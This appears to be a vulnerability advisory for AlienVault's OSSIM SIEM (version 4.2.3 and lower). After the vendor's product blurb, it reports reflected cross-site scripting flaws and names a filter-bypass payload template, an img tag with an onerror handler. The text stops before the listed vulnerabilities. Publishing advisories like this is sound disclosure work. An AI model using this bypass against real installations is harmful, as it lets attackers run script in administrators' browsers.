Vendor Description:  
-------------------  
AlienVault's open source SIEM project, OSSIM, created in 2003, is the most  
widely used SIEM offering with over 195,000 downloads in 175 countries.  
  
OSSIM provides all of the features that a security professional needs from  
a SIEM offering event collection, normalization, and correlation.  
Established and launched by security engineers out of necessity, OSSIM was  
created with an understanding of the reality many security professionals  
face: a SIEM is useless without the basic security controls necessary for  
security visibility. OSSIM addresses this reality by providing the  
essential security capabilities built into a unified platform. Standing on  
the shoulders of the many proven open source security controls built  
into the platform, OSSIM continues to be the fastest way to make the first  
steps towards unified security visibility.  
  
AlienVault provides ongoing development for OSSIM because we believe that  
everyone should have access to sophisticated security technologies;  
this includes the researchers who need a platform for experimentation, and  
the unsung heroes who can't convince their companies that security is a  
problem.  
  
  
Vulnerability Details:  
----------------------  
  
OSSIM 4.2.3 and lower is vulnerable to multiple reflected cross site  
scripting (XSS) vulnerabilities. The PHP code does seem to sanitize a lot of  
input to protect against XSS/SQLi/etc. such as disallowing <script> code  
tags. However, it's possible to inject <img src=a onerror=[javascriptcode]>  
to execute javascript code on the client browser. Below are the reflected  
XSS vulnerabilities.
